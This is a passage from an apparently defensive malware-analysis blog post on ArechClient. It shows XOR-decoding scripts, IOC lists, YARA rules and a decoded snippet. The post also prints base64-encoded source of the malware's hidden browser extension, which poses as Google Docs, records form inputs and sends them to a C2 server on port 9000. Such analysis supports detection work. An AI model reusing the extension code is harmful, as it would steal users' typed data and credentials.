bytearray(newdata)<br>    for i in range(len(temp)):<br>        temp[i] ^= pb_xor_key<br>    tt = re.findall(b&#39;&#39;&#39;https?://pastebin.com/raw/[\x20-\x7e]{8}&#39;&#39;&#39;, temp)<br>    ips += tt<br>    #Brute IPs with smaller data scope<br>    for i in range(255):<br>        temp = bytearray(newdata)<br>        for j in range(len(temp)):<br>            temp[j] ^= i<br>        t = re.findall(b&#39;&#39;&#39;[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}&#39;&#39;&#39;, temp)<br>        ips += t<br>    print(ips)</pre><p>Decoded IOCs for ArechClient samples can be found at the bottom.</p><p>A previous blog detailed that ArechClient was being leveraged for delivering a browser extension[3], looking at the sandbox report for our sample it appears the same thing is happening.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/898/1*Oe9UzsBEvt1R3UAYilEhYA.png" /></figure><p>Since the C2 resides in the content.js we can enumerate samples on VirusTotal:</p><pre>content:{7370796a735f726566726573684576656e747328636c69656e74496429}</pre><p>Taking the first 48 samples found and writing a quick one-liner to rip out the C2s:</p><pre>grep &quot;server =&quot; * |awk -F&#39;&quot;&#39; &#39;{print $2}&#39; |awk -F&#39;/&#39; &#39;{print $3}&#39; |sort |uniq -c</pre><p>However while looking at the pcap for this sample I noticed something strange, for one there was not enough traffic before the extension traffic started to justify downloading the extension from the C2. After checking in the same section of the ArechClient binary we were able to see that it is actually onboard and decoded in the same way as the C2 info earlier but still needs to be base64 decoded:</p><pre>CmFzeW5jIGZ1bmN0aW9uIGh0dHBHZXQodGhlVXJsKQp7CiAgICBsZXQgcmVzcG9uc2UgPSBhd2FpdCBmZXRjaCh0aGVVcmwpOwogICAgbGV0IHVzZXIgPSBhd2FpdCByZXNwb25zZS50ZXh0KCk7CgogICAgcmV0dXJuIHVzZXI7Cn0KCmNocm9tZS5ydW50aW1lLm9uTWVzc2FnZS5hZGRMaXN0ZW5lcigKICAocmVxdWVzdCwgc2VuZGVyLCBzZW5kUmVzcG9uc2UpID0+IHsKICAgIGlmIChyZXF1ZXN0Lm1lc3NhZ2UgPT09ICJnZXQiKXsKICAgICAgICBuZXcgUHJvbWlzZShhc3luYyBzZW5kID0+IHsKICAgICAgICAgICAgdHJ5ewogICAgICAgICAgICAgICAgdmFyIGtleSA9IGF3YWl0IGh0dHBHZXQocmVxdWVzdC51cmwpOwogICAgICAgICAgICAgICAvLyBjb25zb2xlLmxvZygic2VuZCIpOwogICAgICAgICAgICAgICAgc2VuZChrZXkpOwogICAgICAgICAgICB9Y2F0Y2goZXJyb3IpewogICAgICAgICAgICAgICAgc2VuZCgibnVsbCIpOwogICAgICAgICAgICB9CgogICAgICAgIH0pLnRoZW4oc2VuZFJlc3BvbnNlKTsKICAgICAgICBjb25zb2xlLmxvZygiZmluZGwiKTsKICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KICAgICAgCiAgICB9CiAgKTs=<br><br>ewoJIm1hbmlmZXN0X3ZlcnNpb24iOiAyLAoKCSJuYW1lIjogIkdvb2dsZSBEb2NzIiwKCSAgICJkZXNjcmlwdGlvbiI6ICJFZGl0LCBjcmVhdGUsIGFuZCB2aWV3IHlvdXIgZG9jdW1lbnRzLCBzcHJlYWRzaGVldHMsIGFuZCBwcmVzZW50YXRpb25zIOKAlCBhbGwgd2l0aG91dCBpbnRlcm5ldCBhY2Nlc3MuIiwKCSJ2ZXJzaW9uIjogIjEuNy4zOCIsCgkiaWNvbnMiOiB7CiAgICAiMTYiOiAiaWNvbi5wbmciLAogICAgIjQ4IjogImljb24ucG5nIiwKICAgICIxMjgiOiAiaWNvbi5wbmciCiAgfSwKCgkicGVybWlzc2lvbnMiOiBbCgkJImFjdGl2ZVRhYiIsCgkJInN0b3JhZ2UiCgldLAoJImNvbnRlbnRfc2NyaXB0cyI6IFsgewoJCSJhbGxfZnJhbWVzIjogdHJ1ZSwKCQkianMiOiBbICJqcXVlcnkuanMiLCJjb250ZW50LmpzIl0sCgkJIm1hdGNoZXMiOiBbICI8YWxsX3VybHM+IiBdIAoJfSBdLAoJImJhY2tncm91bmQiOiB7CiAgICAJInNlcnZpY2Vfd29ya2VyIjogImJhY2tncm91bmQuanMiCiAgCX0sCgkiYnJvd3Nlcl9hY3Rpb24iOiB7CgkJImRlZmF1bHRfdGl0bGUiOiAiU0ZBU0ZBU0QiCgl9Cn0=<br><br>dmFyIHNlcnZlciA9ICJodHRwOi8vXl5eXl4mJiYmJioqKioqKiYmJl5eXiUlJV5eXiZeJV4mJV4mJiZeJiomXiZeJl4mXio6OTAwMC8iOwp2YXIgaWRkZCA9ICckJV4mI14mQCNAJiNAJiMmKiYqJipeIypAJiMqJkAjKkAmIyojJipAIyc7Cgp2YXIgZGVidWcgPSAxOwp2YXIgY3VyckxvYyA9ICIiOwoKKGFzeW5jIGZ1bmN0aW9uICgpIHsKCgl2YXIgY2xpZW50SWQgPSBpZGRkOwoJdXJsQ2hhbmdlQWxsZXJ0KCk7CgkKCglzcHlqc19yZWZyZXNoRXZlbnRzKGNsaWVudElkKTsKCQp9KSgpCgpmdW5jdGlvbiB1cmxDaGFuZ2VBbGxlcnQoKXsKCXRyeXsKCQl2YXIgbG9jID0gd2luZG93LmxvY2F0aW9uOwoJCWdldE5vUmV0KHNlcnZlcisnY2h1cmw/cGNpZD0nK2lkZGQrIiZ1cmw9Iitsb2MpOwoJfWNhdGNoKGVycm9yKXsgfQoJCn0KCmZ1bmN0aW9uIHNweWpzX3JlZnJlc2hFdmVudHMoY2xpZCl7CglpZihjdXJyTG9jICE9IGxvY2F0aW9uLmhyZWYpewoJCWN1cnJMb2M9bG9jYXRpb24uaHJlZjsKCQlzcHlqc19zYXZlRGF0YSgiKCIrY3VyckxvYysiKSIpOwoJfQoJJCgnaW5wdXQnKS51bmJpbmQoJ2NoYW5nZScpOwoJJCgnaW5wdXQnKS5jaGFuZ2UoZnVuY3Rpb24oZSkgewogIAkJc3B5anNfZ2V0SW5wdXQoZS5jdXJyZW50VGFyZ2V0LCBjbGlkKTsKCX0pOwoJCgkkKCdzZWxlY3QnKS51bmJpbmQoJ2NoYW5nZScpOwoJJCgnc2VsZWN0JykuY2hhbmdlKGZ1bmN0aW9uKGUpIHsKICAJCXNweWpzX2dldElucHV0KGUuY3VycmVudFRhcmdldCwgY2xpZCk7Cgl9KTsKCQoJJCgnY2hlY2tib3gnKS51bmJpbmQoJ2NoYW5nZScpOwoJJCgnY2hlY2tib3gnKS5jaGFuZ2UoZnVuY3Rpb24oZSkgewogIAkJc3B5anNfZ2V0SW5wdXQoZS5jdXJyZW50VGFyZ2V0LCBjbGlkKTsKCX0pOwoJCgkkKCdidXR0b24nKS51bmJpbmQoJ2NoYW5nZScpOwoJJCgnYnV0dG9uJykuY2hhbmdlKGZ1bmN0aW9uKGUpIHsKICAJCXNweWpzX2dldElucHV0KGUuY3VycmVudFRhcmdldCwgY2xpZCk7Cgl9KTsKCQoJCgkkKCd0ZXh0YXJlYScpLnVuYmluZCgnY2hhbmdlJyk7CgkkKCd0ZXh0YXJlYScpLmNoYW5nZShmdW5jdGlvbihlKSB7CiAgCQlzcHlqc19nZXRJbnB1dChlLmN1cnJlbnRUYXJnZXQsIGNsaWQpOwoJfSk7CgkKfQoJCmZ1bmN0aW9uIHNweWpzX2dldElucHV0KGlucHV0SW5mbywgY2xpZCl7CgkgCgl2YXIgbmFtZSA9IGlucHV0SW5mby5uYW1lOwoJdmFyIHZhbHVlID0gaW5wdXRJbmZvLnZhbHVlOwoJdmFyIHN0b2xlbklucHV0ID0ge307CglpZihuYW1lID09PSAiIil7CgkJbmFtZT0idW5kZWZpbmVkX2lucHV0IjsKCX0KCWlmKHZhbHVlICE9ICIiKXsKCQlzdG9sZW5JbnB1dFtuYW1lXSA9IHZhbHVlOwoKCQl2YXIgYmFzZSA9IGN1cnJMb2M7CiAgICAgICAgZ2V0Tm9SZXQoc2VydmVyKydmc2F2ZT9uYW1lPScrbmFtZSsiJnZhbHVlPSIrdmFsdWUgKyAgIiZzaXRlcz0iICtiYXNlICsgIiZjbGlkPSIgKyBjbGlkKTsKCQkKCX0KfQpmdW5jdGlvbiBzcHlqc19zYXZlRGF0YShkYXRhKXsKCQp9OwoKZnVuY3Rpb24gZ2V0KHVybGwpewoJdmFyIHJldDsKICAgCXJldHVybiBuZXcgUHJvbWlzZShhc3luYyBzZW5kID0+IHsKCQljaHJvbWUucnVudGltZS5zZW5kTWVzc2FnZSh7bWVzc2FnZTogImdldCIsIHVybDogdXJsbH0sIChyZXNwb25zZSkgPT4gewoJCQkvL29uc29sZS5sb2cocmVzcG9uc2UpOwogIAkJCXNlbmQocmVzcG9uc2UpOwogIAkJCQoJCX0pOwoJfSk7Cn0KCmZ1bmN0aW9uIGdldE5vUmV0KHVybGwpewogICAJbmV3IFByb21pc2UoYXN5bmMgc2VuZCA9PiB7CgkJY2hyb21lLnJ1bnRpbWUuc2VuZE1lc3NhZ2Uoe21lc3NhZ2U6ICJnZXQiLCB1cmw6IHVybGx9LCAocmVzcG9uc2UpID0+IHsKICAJCQlzZW5kKHJlc3BvbnNlKTsKICAJCQkvL2NvbnNvbGUubG9nKHJlc3BvbnNlKTsKCQl9KTsKCX0pOwoKfQ==</pre><p>Snippet from base64 decoded content.js:</p><pre>var server = &quot;http://^^^^^&amp;&amp;&amp;&amp;&amp;******&amp;&amp;&amp;^^^%%%^^^&amp;^%^&amp;%^&amp;&amp;&amp;^&amp;*&amp;^&amp;^&amp;^&amp;^*:9000/&quot;;<br>var iddd = &#39;$%^&amp;#^&amp;@#@&amp;#@&amp;#&amp;*&amp;*&amp;*^#*@&amp;#*&amp;@#*@&amp;#*#&amp;*@#&#39;;<br><br>var debug = 1;<br>var currLoc = &quot;&quot;;<br><br>(async function () {<br><br>        var clientId = iddd;<br>        urlChangeAllert();<br><br><br>        spyjs_refreshEvents(clientId);<br><br>})()<br><br>function urlChangeAllert(){</pre><h3>IOCs</h3><p>Pastebin URLs:</p><pre>https://pastebin.com/raw/DWCCqGB0<br>https://pastebin.com/raw/ENEhYpTW<br>https://pastebin.com/raw/Ld9GfkdJ<br>https://pastebin.com/raw/NH3NwEpf<br>https://pastebin.com/raw/UPxYyFp8<br>https://pastebin.com/raw/cLika3dt<br>https://pastebin.com/raw/eB8bmiVA<br>https://pastebin.com/raw/eKZZkcvz<br>https://pastebin.com/raw/gxDS2LkW<br>https://pastebin.com/raw/hN7U6xHt<br>https://pastebin.com/raw/nJqnXW3u<br>https://pastebin.com/raw/ravLcZ9f<br>https://pastebin.com/raw/ubFNTPjt<br>https://pastebin.com/raw/wikwTRQc<br>https://pastebin.com/raw/yZ0ektdh</pre><p>Pastebin C2s:</p><pre>92.255.57.31<br>92.255.57.32<br>144.76.103.92<br>92.255.85.23<br>109.120.186.139<br>45.141.84.208<br>185.147.124.181<br>92.255.57.75<br>45.118.248.29<br>85.209.11.243<br>194.26.135.180<br>91.202.233.18<br>80.64.30.2</pre><p>IPs from binaries:</p><pre>109.120.186.139<br>185.147.124.179<br>185.147.124.181<br>194.26.135.180<br>213.109.202.229<br>45.118.248.29<br>45.141.84.168<br>45.141.84.208<br>45.141.87.124<br>45.141.87.50<br>62.84.98.67<br>80.64.30.2<br>81.19.135.11<br>91.202.233.18<br>92.255.57.31<br>92.255.57.32<br>92.255.57.75<br>92.255.85.23<br>92.255.85.36</pre><p>Browser Extension package on VT:</p><pre>7b9cc025a1bc19552ec3a69872ddc9dbf1233ab779f081aaf75b902435f6477e<br></pre><p>Browser Extension C2s:</p><pre>109.107.182.209:9000<br>109.234.34.3:9000<br>144.76.163.55:9000<br>152.89.198.51:9000<br>176.9.66.115:9000<br>178.63.51.126:9000<br>185.147.124.181:9000<br>185.42.12.247:9000<br>185.42.12.64:9000<br>185.42.12.85:9000<br>185.73.125.96:9000<br>213.109.202.15:9000<br>34.141.167.33:9000<br>34.89.247.212:9000<br>45.118.248.29:9000<br>45.141.84.208:9000<br>45.141.87.124:9000<br>45.141.87.215:9000<br>45.141.87.55:9000<br>45.88.104.78:9000<br>45.92.179.249:9000<br>5.42.67.10:9000<br>77.246.107.149:9000<br>80.64.30.2:9000<br>81.19.135.11:9000<br>91.202.233.18:9000<br>91.215.85.23:9000<br>91.215.85.66:9000<br>91.240.118.154:9000<br>92.255.57.31:9000<br>92.255.57.75:9000<br>92.255.85.23:9000<br>95.216.24.238:9000</pre><p>YARA:</p><pre>rule archeclient<br>{<br>    strings:<br>    $a1 = &quot;https://pastebin.com/raw/&quot; xor<br>    $a2 = &quot;CatalinaGroup&quot; xor<br>    $a3 = &quot;Cookies&quot; xor<br>    condition:<br>    all of them<br>}<br><br>rule spyjs_extension<br>{<br>strings:<br>$a1 = &quot;spyjs_saveData&quot;<br>$a2 = &quot;spyjs_refreshEvents&quot;<br>condition:<br>all of them<br>}</pre><p>References</p><p>1: <a href="https://dr4k0nia.github.io/posts/Analysing-a-sample-of-ArechClient2/">https://dr4k0nia.github.io/posts/Analysing-a-sample-of-ArechClient2/</a></p><p>2: <a href="https://www.sentinelone.com/blog/reverse-engineering-walkthrough-analyzing-a-sample-of-arechclient2/">https://www.sentinelone.com/blog/reverse-engineering-walkthrough-analyzing-a-sample-of-arechclient2/</a></p><p>3: <a href="https://malwr-analysis.com/2025/02/18/arechclient2-malware-analysis-sectoprat/">https://malwr-analysis.com/2025/02/18/arechclient2-malware-analysis-sectoprat/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=477f8796568d" width="1" height="1" alt=""><hr><p><a href="https://medium.com/walmartglobaltech/arechclient-decoding-iocs-and-finding-the-onboard-browser-extension-477f8796568d">ArechClient; Decoding IOCs and finding the onboard browser extension</a> was originally published in <a href="https://medium.com/walmartglobaltech">Walmart Global Tech Blog</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>